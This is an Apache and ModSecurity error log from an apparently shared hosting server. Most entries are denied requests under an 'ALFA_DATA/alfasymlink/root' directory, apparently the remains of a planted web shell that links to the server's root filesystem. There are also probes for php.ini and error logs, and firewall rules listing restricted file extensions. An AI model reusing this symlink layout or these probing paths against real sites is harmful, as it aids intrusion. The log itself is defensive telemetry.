[Sat Oct 24 19:46:18.135838 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 54.83.240.58:1504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/node0/memory4/node0/memory23/subsystem/drivers_probe
[Sat Oct 24 19:46:24.144811 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.8:45448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/slabs
[Sat Oct 24 19:46:25.501416 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.7:39042] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cfg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/pycparser/_c_ast.cfg"] [unique_id "at1DUVQTwXU83R4GW_mZ-gAAACg"]
[Sat Oct 24 19:46:25.501800 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.7:39042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/pycparser/_c_ast.cfg"] [unique_id "at1DUVQTwXU83R4GW_mZ-gAAACg"]
[Sat Oct 24 19:46:25.502275 2026] [security2:error] [pid 2693034:tid 2693034] [client 185.191.171.7:39042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/pycparser/_c_ast.cfg"] [unique_id "at1DUVQTwXU83R4GW_mZ-gAAACg"]
[Sat Oct 24 19:46:26.298046 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 18.205.91.101:14896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:46:34.139488 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.157.99.244:35368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:46:37.723508 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.209:60066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/reclaim_account
[Sat Oct 24 19:46:38.275265 2026] [ssl:error] [pid 2692979:tid 2692979] (5)Input/output error: [client 34.227.234.246:32759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:46:42.259842 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.70.123.241:23415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:46:46.148918 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 44.193.115.232:14797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:46:49.221777 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.10:37558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/destroy_by_rcu
[Sat Oct 24 19:46:54.125651 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.163.136.244:28688] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:47:02.131998 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.212.219.113:43268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:47:10.446497 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.218.6.93:14484] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:47:14.141694 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 52.4.238.8:65176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:47:18.437828 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.207.252.58:19076] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:47:22.149395 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 52.204.37.237:57916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/slots/31/module/uevent
[Sat Oct 24 19:47:30.206366 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.225.24.180:46894] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:47:50.180795 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 52.71.46.142:18059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:47:54.134989 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 107.23.62.75:17632] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:48:14.324512 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 54.235.172.108:63633] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:48:18.291582 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.223.134.5:61210] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:48:22.207876 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.215.210.112:44196] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:48:30.131128 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.194.95.99:61404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/8250_lpss/remove_id
[Sat Oct 24 19:48:34.226593 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.234.206.30:49408] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:48:38.337671 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.218.35.239:20920] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:48:48.142597 2026] [authz_core:error] [pid 2724376:tid 2724376] [client 66.132.159.106:41172] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log, referer: https://beta.sherwinpinturas.com:443/PHPMailer/src
[Sat Oct 24 19:48:50.135436 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.178.66:10814] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:48:54.361229 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.2.191.202:21985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:49:18.137593 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.178.66:17876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:49:22.318099 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.147.238.89:17618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:49:26.282511 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 98.83.10.183:6381] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:49:29.580369 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.16:19318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/reclaim_account
[Sat Oct 24 19:49:30.143020 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.83.10.183:21591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:49:46.308564 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 52.45.77.169:44374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/console/subsystem/tty31/subsystem/ttyS2/io_type
[Sat Oct 24 19:49:50.276213 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 35.171.117.160:48561] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:49:58.288523 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 34.225.138.57:47105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:50:02.219607 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.21.148.226:46715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:50:14.134778 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.203.237.170:36923] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:50:22.147965 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.205.192.249:52330] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:50:23.285903 2026] [security2:error] [pid 2707149:tid 2707149] [client 216.244.66.250:41026] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/socks/build/index.js"] [unique_id "at1EPzr66i8lbh-yPykDJAAAAAA"]
[Sat Oct 24 19:50:23.285951 2026] [security2:error] [pid 2707149:tid 2707149] [client 216.244.66.250:41026] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/socks/build/index.js"] [unique_id "at1EPzr66i8lbh-yPykDJAAAAAA"]
[Sat Oct 24 19:50:34.128069 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.22.87.224:35158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:50:37.896390 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.212:42700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_set/sections/__verbose
[Sat Oct 24 19:50:42.147904 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.22.105.143:21611] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:50:42.641082 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 85.208.96.206:62114] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:50:43.759061 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.9:48874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/slabs
[Sat Oct 24 19:50:46.136538 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.211.105.134:6963] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/QEMU0002:00/physical_node/driver/unbind
[Sat Oct 24 19:50:58.813397 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.7:46350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/poison
[Sat Oct 24 19:51:30.185000 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 44.212.145.46:31935] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:51:30.185287 2026] [security2:error] [pid 2724376:tid 2724376] [client 44.212.145.46:31935] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/resource_alignment"] [unique_id "at1Egq7eSgqEqaOPQgT7UgAAAAI"]
[Sat Oct 24 19:51:30.185340 2026] [security2:error] [pid 2724376:tid 2724376] [client 44.212.145.46:31935] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/resource_alignment"] [unique_id "at1Egq7eSgqEqaOPQgT7UgAAAAI"]
[Sat Oct 24 19:51:42.205167 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.54.95.127:1081] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:51:54.238824 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.229.95.193:8073] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:51:54.924701 2026] [core:crit] [pid 2707162:tid 2707162] (13)Permission denied: [client 216.244.66.250:40804] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2197573/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2197573/fd/' is executable
[Sat Oct 24 19:51:54.924770 2026] [core:crit] [pid 2707162:tid 2707162] (13)Permission denied: [client 216.244.66.250:40804] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2197573/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2197573/map_files/' is executable
[Sat Oct 24 19:51:54.924787 2026] [core:crit] [pid 2707162:tid 2707162] (13)Permission denied: [client 216.244.66.250:40804] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2197573/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2197573/fdinfo/' is executable
[Sat Oct 24 19:51:58.743316 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 216.244.66.250:40820] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fd/' is executable
[Sat Oct 24 19:51:58.743385 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 216.244.66.250:40820] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/map_files/' is executable
[Sat Oct 24 19:51:58.743401 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 216.244.66.250:40820] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fdinfo/' is executable
[Sat Oct 24 19:52:02.222090 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.94.157.25:35272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:52:14.232439 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 44.223.193.255:64336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/subsystem/devices/serio0/driver/serio0/firmware_node/physical_node/driver/uevent
[Sat Oct 24 19:52:18.354861 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.1.106.130:33398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:52:26.228041 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.197.82.195:17780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:52:29.041937 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.206:16738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/cpu_slabs
[Sat Oct 24 19:52:38.342630 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 50.17.193.48:24318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:52:46.317222 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 3.216.227.216:53321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/resource4_wc
[Sat Oct 24 19:52:54.198894 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 54.144.185.255:37748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/unbind
[Sat Oct 24 19:52:58.878281 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.230.124.21:45498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:53:10.400176 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.3.104.214:35193] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:53:11.715817 2026] [security2:error] [pid 2693035:tid 2693035] [client 49.51.132.100:41780] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at1E593lMH_Ldre-PZttWQAAACk"]
[Sat Oct 24 19:53:11.716907 2026] [authz_core:error] [pid 2693035:tid 2693035] [client 49.51.132.100:41780] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:53:18.481327 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.83.8.142:18836] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:53:30.330890 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 34.236.185.101:47189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/compact
[Sat Oct 24 19:53:46.201068 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.45.15.233:2305] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:53:50.391949 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.206.93.215:15065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:53:55.372290 2026] [security2:error] [pid 2684583:tid 2684583] [client 43.166.128.187:49654] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_tabasco_1.html"] [unique_id "at1FEz8oejtZfsaip1Yn7QAAABE"]
[Sat Oct 24 19:53:55.390558 2026] [security2:error] [pid 2684583:tid 2684583] [client 43.166.128.187:49654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_tabasco_1.html"] [unique_id "at1FEz8oejtZfsaip1Yn7QAAABE"]
[Sat Oct 24 19:53:55.390584 2026] [security2:error] [pid 2684583:tid 2684583] [client 43.166.128.187:49654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_tabasco_1.html"] [unique_id "at1FEz8oejtZfsaip1Yn7QAAABE"]
[Sat Oct 24 19:54:02.267525 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.92.171.106:51303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:54:04.670183 2026] [authz_core:error] [pid 2724376:tid 2724376] [client 69.197.152.3:58592] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 19:54:05.823542 2026] [authz_core:error] [pid 2707149:tid 2707149] [client 45.198.224.125:37522] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:54:06.290052 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 18.211.148.239:13505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:06/physical_node/resource0
[Sat Oct 24 19:54:10.218365 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.83.226.125:8958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:54:22.435451 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.193.2.57:40384] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:54:34.255607 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 98.82.39.241:8219] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:54:42.185910 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.235.172.108:23207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:54:50.437309 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 44.208.223.68:33458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:54:54.353090 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.235.172.108:44840] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:55:02.742147 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.4:30124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/usersize
[Sat Oct 24 19:55:06.269789 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.225.148.123:36404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:55:18.198366 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 18.211.148.239:12591] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu1/firmware_node/subsystem/drivers/hpet/bind
[Sat Oct 24 19:55:26.299077 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.213.36.21:6622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:55:30.521132 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.84.200.43:13377] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:55:34.192988 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 184.73.195.18:54495] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:55:37.432049 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.16:27570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/free_calls
[Sat Oct 24 19:55:38.402100 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.197.82.195:3804] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:55:46.190958 2026] [ssl:error] [pid 2677776:tid 2677776] (22)Invalid argument: [client 100.27.153.9:53714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:55:58.289145 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.212.219.113:43867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:56:14.181771 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 34.234.206.30:56954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/memory/memory19/node0/cpu0/crash_notes_size
[Sat Oct 24 19:56:28.372609 2026] [security2:error] [pid 2707149:tid 2707149] [client 216.244.66.250:53872] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "at1FrDr66i8lbh-yPykDNAAAAAA"]
[Sat Oct 24 19:56:28.373002 2026] [security2:error] [pid 2707149:tid 2707149] [client 216.244.66.250:53872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "at1FrDr66i8lbh-yPykDNAAAAAA"]
